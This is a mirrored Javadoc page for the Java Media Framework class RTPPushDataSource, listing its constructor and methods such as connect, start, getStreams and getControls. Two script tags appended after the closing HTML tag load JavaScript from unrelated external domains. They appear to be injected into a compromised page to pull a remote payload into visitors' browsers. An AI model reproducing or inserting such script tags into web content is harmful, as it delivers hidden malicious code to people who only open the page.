⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rtppushdatasource.html

📁 JMF原版英文说明文档
💻 HTML
📖 第 1 页 / 共 2 页
字号:
notifyAll, toString, wait, wait, wait</CODE></TD></TR></TABLE>&nbsp;<P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="RTPPushDataSource()"><!-- --></A><H3>RTPPushDataSource</H3><PRE>public <B>RTPPushDataSource</B>()</PRE><DL></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="setChild(javax.media.protocol.DataSource)"><!-- --></A><H3>setChild</H3><PRE>public void <B>setChild</B>(<A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A>&nbsp;source)</PRE><DL></DL><HR><A NAME="getOutputStream()"><!-- --></A><H3>getOutputStream</H3><PRE>public <A HREF="../../../javax/media/protocol/PushSourceStream.html">PushSourceStream</A> <B>getOutputStream</B>()</PRE><DL><DD>Method to retrive the output stream of this two way data source</DL><HR><A NAME="getInputStream()"><!-- --></A><H3>getInputStream</H3><PRE>public <A HREF="../../../javax/media/rtp/OutputDataStream.html">OutputDataStream</A> <B>getInputStream</B>()</PRE><DL><DD>Method to retrieve the input stream of this two way data source</DL><HR><A NAME="setOutputStream(javax.media.protocol.PushSourceStream)"><!-- --></A><H3>setOutputStream</H3><PRE>public void <B>setOutputStream</B>(<A HREF="../../../javax/media/protocol/PushSourceStream.html">PushSourceStream</A>&nbsp;outputstream)</PRE><DL><DD>Method to set the output stream of this two way data source</DL><HR><A NAME="setInputStream(javax.media.rtp.OutputDataStream)"><!-- --></A><H3>setInputStream</H3><PRE>public void <B>setInputStream</B>(<A HREF="../../../javax/media/rtp/OutputDataStream.html">OutputDataStream</A>&nbsp;inputstream)</PRE><DL><DD>Method to set the input stream of this two way data source</DL><HR><A NAME="getContentType()"><!-- --></A><H3>getContentType</H3><PRE>public java.lang.String <B>getContentType</B>()</PRE><DL><DD>Implementation of javax.media.protocol.DataSource.getContentType()<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#getContentType()">getContentType</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD><DD><B>Tags copied from class: <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></B></DD><DD><DL><DT><B>Returns:</B><DD>The name that describes the media content.</DL></DD></DL><HR><A NAME="setContentType(java.lang.String)"><!-- --></A><H3>setContentType</H3><PRE>public void <B>setContentType</B>(java.lang.String&nbsp;contentType)</PRE><DL><DD>Method used to set the content type of this two way data source</DL><HR><A NAME="connect()"><!-- --></A><H3>connect</H3><PRE>public void <B>connect</B>()             throws java.io.IOException</PRE><DL><DD>Set the boolean to true and dont do anything else in connect for now<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#connect()">connect</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD><DD><B>Tags copied from class: <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></B></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - Thrown if there are IO problems when <CODE>connect</CODE> is called.</DL></DD></DL><HR><A NAME="disconnect()"><!-- --></A><H3>disconnect</H3><PRE>public void <B>disconnect</B>()</PRE><DL><DD>Set the boolean to false and dont do anything else in connect for now<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#disconnect()">disconnect</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD></DL><HR><A NAME="initCheck()"><!-- --></A><H3>initCheck</H3><PRE>protected void <B>initCheck</B>()</PRE><DL><DD>This two way data source does not have any medialocator and datasource will throw an Uninitialized DataSource error incase initCheck() is called on this datasource. So, here this method is overrident to esnure that no errors are thrown and in the absence of a MediaLocator, nothing is done for now<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#initCheck()">initCheck</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD></DL><HR><A NAME="start()"><!-- --></A><H3>start</H3><PRE>public void <B>start</B>()           throws java.io.IOException</PRE><DL><DD>Initiates data-transfer. Start must be called before data is available. Connect must be called before start.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#start()">start</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD><DD><DL><DT><B>Throws:</B><DD>java.io.IOException - thrown if the source has IO trouble at startup time.</DL></DD></DL><HR><A NAME="stop()"><!-- --></A><H3>stop</H3><PRE>public void <B>stop</B>()          throws java.io.IOException</PRE><DL><DD>Stops data-transfer. If the source has not already been connected and started, stop does nothing.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/DataSource.html#stop()">stop</A> in class <A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A></DL></DD></DL><HR><A NAME="isStarted()"><!-- --></A><H3>isStarted</H3><PRE>public boolean <B>isStarted</B>()</PRE><DL><DD>Method to find out if the source had been started</DL><HR><A NAME="getControls()"><!-- --></A><H3>getControls</H3><PRE>public java.lang.Object[] <B>getControls</B>()</PRE><DL><DD>Returns an zero length array because no controls are supported.<DD><DL><DT><B>Returns:</B><DD>a zero length <code>Object</code> array.</DL></DD></DL><HR><A NAME="getControl(java.lang.String)"><!-- --></A><H3>getControl</H3><PRE>public java.lang.Object <B>getControl</B>(java.lang.String&nbsp;controlName)</PRE><DL><DD>Returns <code>null</code> because no controls are implemented.<DD><DL><DT><B>Returns:</B><DD><code>null</code>.</DL></DD></DL><HR><A NAME="getDuration()"><!-- --></A><H3>getDuration</H3><PRE>public <A HREF="../../../javax/media/Time.html">Time</A> <B>getDuration</B>()</PRE><DL><DD>Returns null since the duration of the streams of this datasource are not known<DD><B>Tags copied from interface: <A HREF="../../../javax/media/Duration.html">Duration</A></B></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>Time</CODE> object representing the duration or DURATION_UNKNOWN.</DL></DD></DL><HR><A NAME="getStreams()"><!-- --></A><H3>getStreams</H3><PRE>public <A HREF="../../../javax/media/protocol/PushSourceStream.html">PushSourceStream</A>[] <B>getStreams</B>()</PRE><DL><DD><B>Description copied from class: <A HREF="../../../javax/media/protocol/PushDataSource.html">PushDataSource</A></B></DD><DD>Get the collection of streams that this source manages. The collection of streams is entirely content dependent. The <code>ContentDescriptor</code> of this <CODE>DataSource</CODE> provides the only indication of what streams can be available on this connection.<DD><DL><DT><B>Overrides:</B><DD><A HREF="../../../javax/media/protocol/PushDataSource.html#getStreams()">getStreams</A> in class <A HREF="../../../javax/media/protocol/PushDataSource.html">PushDataSource</A></DL></DD><DD><B>Tags copied from class: <A HREF="../../../javax/media/protocol/PushDataSource.html">PushDataSource</A></B></DD><DD><DL><DT><B>Returns:</B><DD>The collection of streams for this source.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">  <TR ALIGN="center" VALIGN="top">  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>  </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">&nbsp;<A HREF="../../../javax/media/rtp/RTPHeader.html"><B>PREV CLASS</B></A>&nbsp;&nbsp;<A HREF="../../../javax/media/rtp/RTPSocket.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;&nbsp;<A HREF="RTPPushDataSource.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: &nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1">  <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -